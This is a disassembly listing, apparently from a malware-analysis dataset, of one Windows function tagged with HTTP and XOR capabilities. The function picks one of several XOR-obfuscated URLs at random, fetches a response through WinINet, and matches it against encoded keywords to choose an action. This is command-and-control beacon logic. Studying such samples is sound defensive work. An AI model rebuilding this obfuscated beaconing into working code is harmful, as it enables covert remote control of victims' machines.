Function at 0x140081ae0
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x28]
sub rsp, 0x120
mov qword [rsp + 0x78], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov rax, qword [0x1402f1010]
xor rax, rsp
mov qword [rbp + 0x10], rax
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x1402d5860]
movdqu xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x60], 0
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov eax, r8d
cdq
xor eax, edx
xor edi, edi
lea rbx, [rdi - 1]
sub eax, edx
jne 0x140081c33
movdqa xmm0, xmmword [0x1402d5bf0]
movdqu xmmword [rsp + 0x48], xmm0
movdqa xmm1, xmmword [0x1402d5ec0]
movdqu xmmword [rsp + 0x58], xmm1
mov dword [rsp + 0x68], 0xc7879e85
mov dword [rsp + 0x6c], 0x100c78c
mov ecx, edi
nop word [rax + rax]
lea eax, [rcx - 0x2b]
xor byte [rsp + rcx + 0x48], al
inc rcx
cmp rcx, 0x26
jb 0x140081ba0
mov byte [rsp + 0x6f], dil
lea rax, [rsp + 0x48]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140081bc0
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x60]
call fcn.14007b840
mov dword [rsp + 0x30], 0xfdf396f1
mov dword [rsp + 0x34], 0xf8f89afc
mov dword [rsp + 0x38], 0x10080f9
mov rcx, rdi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x2b]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xa
jb 0x140081c00
mov byte [rsp + 0x3b], dil
lea rax, [rsp + 0x30]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140081c20
lea rdx, [rsp + 0x30]
jmp 0x140081f8e
cmp eax, 1
jne 0x140081d03
movdqa xmm0, xmmword [0x1402d5c50]
movdqu xmmword [rsp + 0x48], xmm0
movdqa xmm1, xmmword [0x1402d5da0]
movdqu xmmword [rsp + 0x58], xmm1
mov dword [rsp + 0x68], 0x8d948bd4
mov dword [rsp + 0x6c], 0x3d8ac1
mov byte [rsp + 0x70], al
mov rcx, rdi
nop
lea eax, [rcx - 0x26]
xor byte [rsp + rcx + 0x48], al
inc rcx
cmp rcx, 0x27
jb 0x140081c70
mov byte [rsp + 0x70], dil
lea rax, [rsp + 0x48]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140081c90
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x60]
call fcn.14007b840
mov dword [rsp + 0x30], 0x8689f295
mov dword [rsp + 0x34], 0xfffefffa
mov dword [rsp + 0x38], 0x100fb83
mov rcx, rdi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x2b]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xa
jb 0x140081cd0
mov byte [rsp + 0x3b], dil
lea rax, [rsp + 0x30]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140081cf0
lea rdx, [rsp + 0x30]
jmp 0x140081f8e
cmp eax, 2
jne 0x140081dde
movdqa xmm0, xmmword [0x1402d5c50]
movdqu xmmword [rsp + 0x48], xmm0
movdqa xmm1, xmmword [0x1402d5d80]
movdqu xmmword [rsp + 0x58], xmm1
mov dword [rsp + 0x68], 0x8dd29c9f
mov dword [rsp + 0x6c], 0x743f8f96
mov word [rsp + 0x70], 0x3f
mov byte [rsp + 0x72], 1
mov rcx, rdi
nop word [rax + rax]
lea eax, [rcx - 0x26]
xor byte [rsp + rcx + 0x48], al
inc rcx
cmp rcx, 0x29
jb 0x140081d50
mov byte [rsp + 0x72], dil
lea rax, [rsp + 0x48]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140081d70
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x60]
call fcn.14007b840
mov dword [rsp + 0x30], 0xfc97f38b
mov dword [rsp + 0x34], 0xff9bff99
mov dword [rsp + 0x38], 0xc49f9ef9
mov word [rsp + 0x3c], 0x100
mov rcx, rdi
nop dword [rax]
lea eax, [rcx - 0x2b]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xc
jb 0x140081db0
mov byte [rsp + 0x3d], dil
lea rax, [rsp + 0x30]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140081dd0
jmp 0x140081f89
cmp eax, 3
jne 0x140081eb3
movdqa xmm0, xmmword [0x1402d5c50]
movdqu xmmword [rsp + 0x48], xmm0
movdqa xmm1, xmmword [0x1402d5d70]
movdqu xmmword [rsp + 0x58], xmm1
mov dword [rsp + 0x68], 0xd39b9e8d
mov dword [rsp + 0x6c], 0x3e70978e
mov dword [rsp + 0x70], 0x1003e77
mov rcx, rdi
nop
lea eax, [rcx - 0x26]
xor byte [rsp + rcx + 0x48], al
inc rcx
cmp rcx, 0x2a
jb 0x140081e20
mov byte [rsp + 0x73], dil
lea rax, [rsp + 0x48]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140081e40
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x60]
call fcn.14007b840
mov dword [rsp + 0x30], 0xf99cf884
mov dword [rsp + 0x34], 0xc4c3fafd
mov dword [rsp + 0x38], 0xc1c2bdbc
mov word [rsp + 0x3c], Ordinal_200
mov byte [rsp + 0x3e], 1
mov rcx, rdi
nop
lea eax, [rcx - 0x26]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xd
jb 0x140081e80
mov byte [rsp + 0x3e], dil
lea rax, [rsp + 0x30]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140081ea0
lea rdx, [rsp + 0x30]
jmp 0x140081f8e
cmp eax, 4
jne 0x140081f97
movdqa xmm0, xmmword [0x1402d5c50]
movdqu xmmword [rsp + 0x48], xmm0
movdqa xmm1, xmmword [0x1402d5d60]
movdqu xmmword [rsp + 0x58], xmm1
mov dword [rsp + 0x68], 0x9a998c9c
mov dword [rsp + 0x6c], 0x712e9a98
mov dword [rsp + 0x70], 0x703b736a
mov word [rsp + 0x74], Ordinal_60
mov byte [rsp + 0x76], 1
mov rcx, rdi
nop
lea eax, [rcx - 0x26]
xor byte [rsp + rcx + 0x48], al
inc rcx
cmp rcx, 0x2d
jb 0x140081f00
mov byte [rsp + 0x76], dil
lea rax, [rsp + 0x48]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140081f20
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x60]
call fcn.14007b840
mov dword [rsp + 0x30], 0xfc97f5f0
mov dword [rsp + 0x34], 0xf8f8fffa
mov dword [rsp + 0x38], 0xc5fbfbfe
mov word [rsp + 0x3c], 0x100
mov rcx, rdi
nop dword [rax]
lea eax, [rcx - 0x2b]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xc
jb 0x140081f60
mov byte [rsp + 0x3d], dil
lea rax, [rsp + 0x30]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140081f80
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x80]
call fcn.14007b6e0
lea rdx, [0x140679d50]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rdx, qword [0x140679d50]
mov r8, rbx
inc r8
cmp byte [rdx + r8], dil
jne 0x140081fb1
lea rcx, [rbp - 0x60]
call fcn.14007b840
mov dword [rsp + 0x30], 0xe1abfc
mov byte [rsp + 0x34], 1
mov rcx, rdi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x26]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 3
jb 0x140081fe0
mov byte [rsp + 0x34], dil
lea rax, [rsp + 0x30]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140082000
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x60]
call fcn.14007b840
lea rdx, [0x14067cce8]
mov r8, rbx
inc r8
cmp byte [rdx + r8], dil
jne 0x140082021
lea rcx, [rbp - 0x60]
call fcn.14007b840
mov dword [rsp + 0x30], 0xe1b3fc
mov byte [rsp + 0x34], 1
mov rcx, rdi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x26]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 3
jb 0x140082050
mov byte [rsp + 0x34], dil
lea rax, [rsp + 0x30]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140082070
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x60]
call fcn.14007b840
lea rdx, [0x14067a3d0]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rdx, qword [0x14067a3d0]
mov r8, rbx
inc r8
cmp byte [rdx + r8], dil
jne 0x1400820a1
lea rcx, [rbp - 0x60]
call fcn.14007b840
mov dword [rsp + 0x30], 0xe1bcfc
mov byte [rsp + 0x34], 1
mov rcx, rdi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x26]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 3
jb 0x1400820d0
mov byte [rsp + 0x34], dil
lea rax, [rsp + 0x30]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x1400820f0
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x60]
call fcn.14007b840
mov dword [rsp + 0x30], 0xa3bfa9b9
mov word [rsp + 0x34], 0x100
mov rcx, rdi
nop dword [rax]
lea eax, [rcx - 0x28]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 4
jb 0x140082120
mov byte [rsp + 0x35], dil
lea rax, [rsp + 0x30]
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], dil
jne 0x140082140
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x60]
call fcn.14007b840
mov dword [rbp - 0x40], reloc.WLDAP32.dll_Ordinal_32
movdqa xmm0, xmmword [0x1402d58b0]
movdqu xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x40], 1
mov rcx, rdi
nop word [rax + rax]
lea eax, [rcx - 0x26]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xf
jb 0x140082180
mov byte [rsp + 0x40], dil
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.WININET.dll_InternetOpenA]
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae rdx, qword [rbp - 0x60]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
mov ecx, Ordinal_27
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rbp - 0x40]
mov r8d, 0x40
lea rdx, [rbp - 0x30]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, Ordinal_27
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rbp - 0x40]
cmp rax, 0x40
jae 0x1400828c0
mov byte [rbp + rax - 0x30], dil
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14007f920
mov dword [rsp + 0x30], 0x8782f8fe
mov dword [rsp + 0x34], 0xc5fbf8
mov byte [rsp + 0x38], 1
mov rcx, rdi
lea eax, [rcx - 0x26]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 7
jb 0x140082240
mov byte [rsp + 0x38], dil
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x30]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x14008231d
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1400822ab
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400822a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400822a6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008683c
movdqa xmm0, xmmword [0x1402d5860]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1400822fa
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400822f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400822f5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008683c
xor al, al
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.140086810
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
mov dword [rsp + 0x30], 0x86f4f28b
mov dword [rsp + 0x34], 0x100f9fc
mov rcx, rdi
lea eax, [rcx - 0x2b]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 6
jb 0x140082330
mov byte [rsp + 0x37], dil
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x30]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x1400823f1
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14008239b
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140082396
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140082396
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008683c
movdqa xmm0, xmmword [0x1402d5860]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1400822fa
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400822f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400822f5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov dword [rsp + 0x30], 0xf89cf884
mov word [rsp + 0x34], 0x80
mov byte [rsp + 0x36], 1
mov rcx, rdi
nop dword [rax + rax]
lea eax, [rcx - 0x26]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 5
jb 0x140082410
mov byte [rsp + 0x36], dil
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x30]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x1400824d1
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14008247b
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140082476
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140082476
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008683c
movdqa xmm0, xmmword [0x1402d5860]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1400822fa
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400822f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400822f5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov dword [rsp + 0x30], 0xf882f8fe
mov word [rsp + 0x34], 0xfa
mov byte [rsp + 0x36], 1
mov rcx, rdi
nop dword [rax + rax]
lea eax, [rcx - 0x26]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 5
jb 0x1400824f0
mov byte [rsp + 0x36], dil
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x30]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x1400825b1
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14008255b
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140082556
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140082556
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008683c
movdqa xmm0, xmmword [0x1402d5860]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1400822fa
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400822f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400822f5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov dword [rsp + 0x30], 0xf8fffffc
mov dword [rsp + 0x34], 0xc5fc80
mov byte [rsp + 0x38], 1
mov rcx, rdi
nop dword [rax]
lea eax, [rcx - 0x26]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 7
jb 0x1400825d0
mov byte [rsp + 0x38], dil
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x30]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x140082691
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14008263b
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140082636
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140082636
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008683c
movdqa xmm0, xmmword [0x1402d5860]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1400822fa
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400822f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400822f5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov dword [rsp + 0x30], 0xfef8feff
mov dword [rsp + 0x34], 0xc2befcfb
mov word [rsp + 0x38], 0x100
nop dword [rax + rax]
lea eax, [rdi - 0x26]
xor byte [rsp + rdi + 0x30], al
inc rdi
cmp rdi, 8
jb 0x1400826b0
mov byte [rsp + 0x39], 0
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x30]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x140082771
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14008271b
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140082716
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140082716
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008683c
movdqa xmm0, xmmword [0x1402d5860]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1400822fa
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400822f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400822f5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
lea rcx, [rbp - 0x30]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x14008282c
call fcn.14007f920
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1400827d6
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400827d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400827d1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008683c
movdqa xmm0, xmmword [0x1402d5860]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x140082825
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140082820
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140082820
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008683c
mov al, 1
jmp 0x1400822fc
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14008286a
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140082865
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140082865
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008683c
movdqa xmm0, xmmword [0x1402d5860]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1400822fa
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400822f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400822f5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140086ad4
int3